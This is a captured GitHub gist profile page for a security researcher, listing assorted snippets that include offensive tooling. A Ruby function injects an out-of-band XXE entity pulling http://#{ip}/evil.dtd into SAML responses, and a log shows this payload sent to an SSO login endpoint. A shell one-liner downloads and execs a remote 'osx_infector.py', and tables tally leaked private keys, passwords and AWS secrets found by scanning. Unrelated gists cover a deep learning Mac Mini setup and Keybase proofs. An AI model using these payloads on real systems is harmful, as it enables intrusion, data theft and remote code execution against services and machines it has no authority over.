Skip to content

Instantly share code, notes, and snippets.

View mrbrutti's full-sized avatar
💭
Hacking ...

マティアス mrbrutti

💭
Hacking ...
View GitHub Profile
@mrbrutti
mrbrutti / table2.md
Last active April 4, 2019 15:15
table2.md
keyword IPs Results Notes
private_key 4 50 ssh , ca, tls
password 76 2194 mysql, usernames, emails, redis, linux
secret 54 2867
token 200 8495
aws_secret_access_key 2 98
@mrbrutti
mrbrutti / table_1.md
Last active April 4, 2019 15:11
Table 1.md
keyword IPs Results Notes
private_key 4 50 ssh , ca, tls
password 76 2194 mysql, usernames, emails, redis, linux
secret 54 2867
token 200 8495
aws_secret_access_key 2 98
@mrbrutti
mrbrutti / TensorMini.md
Last active May 21, 2023 05:02
Deep Learning with a Mac Mini + Akitio Titan XP + Ubuntu 17.10

Introduction

I've been doing a lot of research into Deep Reinforcement Learning, Machine Learning and other areas. Without much non-apple hardware laying around. I have spent countless hours rebuilding tensorflow 1.3-1.7 from source with all of the known .diff changes required and the constant rebuilding effords in order to get things working. I tried moving to Linux on the machines, but sadly neither the MacPro or the Macbook Pro 2017 supports Linux that well nor the supported the Nvidia egpu on previous versions of ubuntu.

But then comes 2018 and I got back from one of my MacMini and I decided to try with it. I have heard people having luck with ubuntu 17.10 on a NUC and thought it would be a good idea to try.

### Keybase proof
I hereby claim:
* I am mrbrutti on github.
* I am ishikawa (https://keybase.io/ishikawa) on keybase.
* I have a public key ASCejX1OKtz24SHN9cOnY9iK4ItThIaO3Yl-Vd8u8y3piAo
To claim this, I am signing this object:
ruby -rsinatra -e’set :public_folder, “.”; set :port, 80; set :bind, “0.0.0.0”’
@mrbrutti
mrbrutti / wr_post_sample_2.rb
Last active May 2, 2017 18:54
wr_post_sample_2.rb
def saml_inject(text, ip)
text.gsub(
“<?xml version=\”1.0\” encoding=\”UTF-8\”?>”,
“<?xml version=\”1.0\” encoding=\”UTF-8\”?><!DOCTYPE root [ <!ENTITY % remote SYSTEM \”http://#{ip}/evil.dtd\"> %remote;]>”
)
end
def SAML_recode(a)
CGI.escape(Base64.encode64(a).strip)
end
ruby XXETester.rb https://domain.com:4285/api/SsoAuthLoginResponse
Puma 2.14.0 starting…
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://0.0.0.0:80
== Sinatra (v1.4.6) has taken the stage on 80 for development with backup from Puma
Running XXE Payload against server https://domain.com:4285/api/SsoAuthLoginResponse
Running XXE Payload against server https://domain.com:4285/api/SsoAuthLoginResponse
RestClient.post “https://domain.com:4285/api/SsoAuthLoginResponse", 6263 byte(s) length, “Accept”=>”text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8", “Accept-Encoding”=>”gzip, deflate”, “Accept-encoding”=>”gzip, deflate, br”, “Accept-language”=>”en-US,en;q=0.5", “Connection”=>”close”, “Content-Length”=>”6263", “Upgrade-insecure-requests”=>”1", “User-agent”=>”Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:48.0) Gecko/20100101 Firefox/48.0"
RestClient.post “https://domain.com:4285/api/SsoAuthLoginResponse", “SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRG
@mrbrutti
mrbrutti / speed_pw0n.sh
Created March 23, 2016 02:37
Speedy Gonzales
python -c 'import urllib; exec(urllib.urlopen("https://gist.githubusercontent.com/secretsquirrel/2ba497786027472f98dd/raw/328ecf19bfacb7fe386c98543d6b7fa60c4ef2ce/osx_infector.py").read())'
@mrbrutti
mrbrutti / vim_plugin_update.sh
Created March 5, 2016 21:48
Update Vim Plugins
for i in ~/.vim/bundle/*; do git -C $i pull; done
@mrbrutti
mrbrutti / keybase.md
Last active August 29, 2015 13:58
keybase.md

Keybase proof

I hereby claim:

  • I am freedomcoder on github.
  • I am ishikawa (https://keybase.io/ishikawa) on keybase.
  • I have a public key whose fingerprint is 17F9 D8EA E46E 3DA6 4F27 BF98 E405 57DA 37FD EB4F

To claim this, I am signing this object: